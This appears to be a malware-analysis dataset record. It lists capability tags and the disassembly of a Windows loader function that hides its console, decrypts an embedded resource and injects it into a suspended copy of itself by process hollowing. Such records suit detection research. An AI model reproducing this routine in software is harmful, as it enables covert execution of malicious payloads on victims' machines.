Function at 0x140112bf9
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Hide graphical window
Resume thread
Use process replacement

Disassembly:
jmp 0x1401359d0
push rbp
push rdi
sub rsp, 0xf08
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x28e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140402080]
xor rax, rbp
mov qword [rbp + 0xea8], rax
lea rcx, [0x140442081]
call fcn.1401157dc
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 4
call fcn.14010d53c
mov qword [rbp + 0xda8], rax
mov rax, qword [rbp + 0xda8]
mov qword [rbp + 8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0x88], rax
lea r8, [0x140348b10]
mov edx, 0x84
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
je 0x140135ab7
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x140135ab7
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140135ab7
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, qword [rbp + 8]
mov dword [rcx], eax
jmp 0x140135ac9
mov rax, qword [rbp + 8]
mov dword [rax], 0
mov qword [rbp + 0x28], 0
lea rcx, [rbp + 0xa8]
call fcn.14011575a
nop
mov r8d, 0x10
lea rdx, str.290491829303948
lea rcx, [rbp + 0xf0]
call fcn.140112a1e
nop
xor r9d, r9d
lea r8, str.239408234782934
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x170]
call fcn.140112cb2
nop
mov ecx, 0x20
call fcn.14010d53c
mov qword [rbp + 0xde8], rax
cmp qword [rbp + 0xde8], 0
je 0x140135b45
lea rdx, [rbp + 0xa8]
mov rcx, qword [rbp + 0xde8]
call fcn.14010e419
mov qword [rbp + 0xe98], rax
jmp 0x140135b50
mov qword [rbp + 0xe98], 0
mov rax, qword [rbp + 0xe98]
mov qword [rbp + 0xdc8], rax
lea rax, [rbp + 0x178]
mov r9d, 5
mov r8, qword [rbp + 0xdc8]
mov rdx, rax
lea rcx, [rbp + 0x210]
call fcn.140115570
nop
mov rax, qword [rbp + 8]
mov eax, dword [rax]
mov r9b, 1
mov r8d, eax
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0x210]
call fcn.140115b92
mov r8b, 1
mov edx, 0xffffffff
lea rcx, [rbp + 0x210]
call fcn.14011000c
lea rcx, [rbp + 0xa8]
call fcn.1401131da
mov rcx, rax
call fcn.140110c3c
mov qword [rbp + 0xe08], rax
mov rax, qword [rbp + 0xe08]
mov qword [rbp + 0x308], rax
lea rcx, [rbp + 0xa8]
call fcn.1401131da
mov qword [rbp + 0xe98], rax
lea rcx, [rbp + 0xa8]
call fcn.1401106d8
mov qword [rbp + 0xea0], rax
mov r8, qword [rbp + 0xe98]
mov rdx, qword [rbp + 0xea0]
mov rcx, qword [rbp + 0x308]
call fcn.14011131c
mov rax, qword [rbp + 0x308]
mov qword [rbp + 0x328], rax
mov rax, qword [rbp + 0x328]
mov qword [rbp + 0x348], rax
mov rax, qword [rbp + 0x348]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x328]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x368], rax
mov rax, qword [rbp + 0x368]
cmp dword [rax], 0x4550
jne 0x140135f98
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x3a8]
call fcn.140113649
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x3e0]
call fcn.140113649
mov r8d, 0x104
lea rdx, [rbp + 0x490]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0x3a8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x490]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140135f98
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x8a8], rax
mov rax, qword [rbp + 0x8a8]
mov dword [rax + 0x30], 0x10000b
mov rdx, qword [rbp + 0x8a8]
mov rcx, qword [rbp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140135f98
mov rax, qword [rbp + 0x368]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rbp + 0x368]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rbp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x468], rax
mov rax, qword [rbp + 0x368]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0x328]
mov rdx, qword [rbp + 0x468]
mov rcx, qword [rbp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rbp + 0x8c8], 0
jmp 0x140135dd0
mov rax, qword [rbp + 0x8c8]
inc rax
mov qword [rbp + 0x8c8], rax
mov rax, qword [rbp + 0x368]
movzx eax, word [rax + 6]
cmp qword [rbp + 0x8c8], rax
jae 0x140135eaf
mov rax, qword [rbp + 0x348]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x328]
add rcx, rax
mov rax, rcx
imul rcx, qword [rbp + 0x8c8], 0x28
lea rax, [rax + rcx + 0x108]
mov qword [rbp + 0x388], rax
mov rax, qword [rbp + 0x388]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp + 0x388]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rbp + 0x328]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rbp + 0x388]
mov edx, dword [rdx + 0xc]
mov r8, qword [rbp + 0x468]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rbp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rbp + 0x368]
add rax, 0x30
mov rcx, qword [rbp + 0x8a8]
mov rcx, qword [rcx + 0x88]
add rcx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rax
mov rdx, rcx
mov rcx, qword [rbp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x140135dbf
mov dword [rbp + 0x8e4], 0
mov dword [rbp + 0x904], 0
jmp 0x140135ed3
mov eax, dword [rbp + 0x904]
inc eax
mov dword [rbp + 0x904], eax
cmp dword [rbp + 0x904], 0x3e8
jge 0x140135efe
mov eax, dword [rbp + 0x904]
imul eax, dword [rbp + 0x904]
mov ecx, dword [rbp + 0x8e4]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x8e4], eax
jmp 0x140135ec5
mov rax, qword [rbp + 0x368]
mov eax, dword [rax + 0x28]
mov rcx, qword [rbp + 0x468]
add rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0x8a8]
mov qword [rcx + 0x80], rax
mov rdx, qword [rbp + 0x8a8]
mov rcx, qword [rbp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor edx, edx
mov rcx, qword [rbp + 0x3a8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rbp + 0xe24], 0
lea rcx, [rbp + 0x210]
call fcn.14010f45e
nop
lea rcx, [rbp + 0x170]
call fcn.14010e2cf
nop
lea rcx, [rbp + 0xf0]
call fcn.14010fd19
nop
lea rcx, [rbp + 0xa8]
call fcn.14010e8fb
mov eax, dword [rbp + 0xe24]
jmp 0x140136011
mov rax, qword [rbp + 8]
mov qword [rbp + 0xe48], rax
mov edx, 4
mov rcx, qword [rbp + 0xe48]
call fcn.140114053
mov rax, qword [rbp + 0x308]
mov qword [rbp + 0xe68], rax
mov rcx, qword [rbp + 0xe68]
call fcn.140111268
mov dword [rbp + 0xe84], 0
lea rcx, [rbp + 0x210]
call fcn.14010f45e
nop
lea rcx, [rbp + 0x170]
call fcn.14010e2cf
nop
lea rcx, [rbp + 0xf0]
call fcn.14010fd19
nop
lea rcx, [rbp + 0xa8]
call fcn.14010e8fb
mov eax, dword [rbp + 0xe84]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x1403470e0]
call fcn.14011413e
mov rax, rdi
mov rcx, qword [rbp + 0xea8]
xor rcx, rbp
call fcn.1401112c2
lea rsp, [rbp + 0xeb8]
pop rdi
pop rbp
ret